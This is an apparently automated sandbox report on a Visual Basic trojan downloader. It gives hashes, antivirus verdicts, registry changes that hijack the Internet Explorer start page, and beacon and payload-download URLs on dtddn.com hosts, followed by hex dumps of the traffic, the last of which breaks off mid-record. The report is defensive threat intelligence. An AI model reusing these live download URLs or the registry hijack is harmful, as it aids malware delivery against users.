Analysis Date2014-10-12 06:19:31
MD504431bc746f4c001b4ba08e4624ffca1
SHA1134c734a37feccdcc362be744e09e045ad511413

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 7381cb6830952fa4a555285224e8c64a sha1: bdf864a69089455f37dc69e93f083799b54805fe size: 192512
Section.data md5: 620f0b67a91f7f74151bc5be745b7110 sha1: 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d size: 4096
Section.rsrc md5: 4906a2a6939a632182798948e8ce7669 sha1: 9f8b81946f0b328ab7423c306fca9af7cac69862 size: 8192
Timestamp2014-09-21 22:25:25
VersionInternalName: lswkmccevni
FileVersion: 1.00
CompanyName: II25yMWo
ProductName: lswkmccevni
ProductVersion: 1.00
OriginalFilename: lswkmccevni.exe
PackerMicrosoft Visual Basic v5.0
PEhash27b4d26702c6149e82d778176c87be48fdc73b0b
IMPhasha16a1a1ce71e99ba070673330df1acb3
AV360 SafeGen:Trojan.Heur.ZGY.6
AVAd-AwareGen:Trojan.Heur.ZGY.6
AVAlwil (avast)no_virus
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Trojan.MGJS-8420
AVAvira (antivir)TR/Dropper.Gen
AVBullGuardGen:Trojan.Heur.ZGY.6
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)no_virus
AVClamAVno_virus
AVDr. Webno_virus
AVEmsisoftGen:Trojan.Heur.ZGY.6
AVEset (nod32)no_virus
AVFortinetW32/VBObfus.QT!tr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Trojan.Heur.ZGY.6
AVGrisoft (avg)Win32/VBCrypt
AVIkarusTrojan.Win32.VBObfus
AVK7no_virus
AVKasperskyTrojan.Win32.Dynamer.lgk
AVMalwareBytesno_virus
AVMcafeeObfuscated-FBW!04431BC746F4
AVMicrosoft Security EssentialsTrojan:Win32/Dynamer!ac
AVMicroWorld (escan)Gen:Trojan.Heur.ZGY.6
AVNormanwinpe/Troj_Generic.WFTER
AVRisingno_virus
AVSophosno_virus
AVSymantecno_virus
AVTrend MicroTROJ_VB.SMIS
AVVirusBlokAda (vba32)BScope.Trojan.Diple
AVYara APTno_virus
AVZillya!no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\m0q\Edit ➝
3101\\x00
RegistryHKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\ ➝
C:\Program Files\Internet Explorer\IEXPLORE.EXE "http://www.skoda-china.com/"\\x00\\x00\\x006\\x009\\x00-\\x00A\\x002\\x00E\\x00A\\x00-\\x000\\x008\\x000\\x000\\x002\\x00B\\x003\\x000\\x003\\x000\\x009\\x00D\\x00}\\x00\\\x00s\\x00h\\x00e\\x00l\\x00l\\x00\\\x00O\\x00p\\x00e\\x00n\\x00H\\x00o\\x00m\\x00e\\x00P\\x00
RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\w2m\copin ➝
942379167192\\x00
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\94687.ini
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\94687.ini
Creates ProcessC:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\94687.ini"
Creates Mutexup3101
Winsock DNSdown.dtddn.com
Winsock DNSlog.dtddn.com
Winsock DNSdown.sz-guogeng.com
Winsock DNSdldir1.qq.com
Winsock DNSlnk1.dtddn.com
Winsock DNSlnk2.dtddn.com

Process
↳ C:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\94687.ini"

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00
RegistryHKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00

Network Details:

DNSlog.dtddn.com
Type: A
112.124.183.10
DNSlnk1.dtddn.com
Type: A
121.40.172.60
DNSlnk2.dtddn.com
Type: A
121.40.172.60
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.217
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.168
DNSdown.dtddn.com
Type: A
112.124.120.200
DNSdown.sz-guogeng.com
Type: A
112.124.120.200
DNSdldir1.qq.com
Type: A
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=942379167192%2074390
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=942379167192%2077828
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=942379167192%2080968
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/9928.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-Beg1&Info1=942379167192%201%200
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.dtddn.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.sz-guogeng.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-DownI&Info1=942379167192%201%200%201
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/7446.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Flows TCP192.168.1.1:1031 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1032 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1033 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1034 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1035 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1036 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1037 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1038 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1039 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1040 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1041 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1042 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1043 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1044 ➝ 174.35.56.217:80
Flows TCP192.168.1.1:1045 ➝ 174.35.56.217:80
Flows TCP192.168.1.1:1046 ➝ 174.35.56.217:80
Flows TCP192.168.1.1:1047 ➝ 174.35.56.217:80
Flows TCP192.168.1.1:1048 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1049 ➝ 174.35.56.217:80
Flows TCP192.168.1.1:1050 ➝ 174.35.56.217:80
Flows TCP192.168.1.1:1051 ➝ 174.35.56.217:80
Flows TCP192.168.1.1:1052 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1053 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1054 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1055 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1056 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1057 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1058 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1059 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1060 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1061 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1062 ➝ 121.40.172.60:7771

Raw Pcap
0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d39 34323337 39313637 31393225   o1=942379167192%
0x00000040 (00064)   32303734 33393020 48545450 2f312e31   2074390 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d39 34323337 39313637 31393225   o1=942379167192%
0x00000040 (00064)   32303737 38323820 48545450 2f312e31   2077828 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d39 34323337 39313637 31393225   o1=942379167192%
0x00000040 (00064)   32303830 39363820 48545450 2f312e31   2080968 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f393932 382e7261   GET /lnk/9928.ra
0x00000010 (00016)   72204854 54502f31 2e310d0a 41636365   r HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a557365 722d4167   pt: */*..User-Ag
0x00000030 (00048)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000040 (00064)   2028636f 6d706174 69626c65 3b205769    (compatible; Wi
0x00000050 (00080)   6e33323b 2057696e 48747470 2e57696e   n32; WinHttp.Win
0x00000060 (00096)   48747470 52657175 6573742e 35290d0a   HttpRequest.5)..
0x00000070 (00112)   486f7374 3a206c6e 6b312e64 7464646e   Host: lnk1.dtddn
0x00000080 (00128)   2e636f6d 3a373737 310d0a43 6f6e6e65   .com:7771..Conne
0x00000090 (00144)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000a0 (00160)   650d0a0d 0a0a486f 73743a20 6c6f672e   e.....Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 3051322d 42656731 26496e66   01%20Q2-Beg1&Inf
0x00000030 (00048)   6f313d39 34323337 39313637 31393225   o1=942379167192%
0x00000040 (00064)   32303125 32303020 48545450 2f312e31   201%200 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
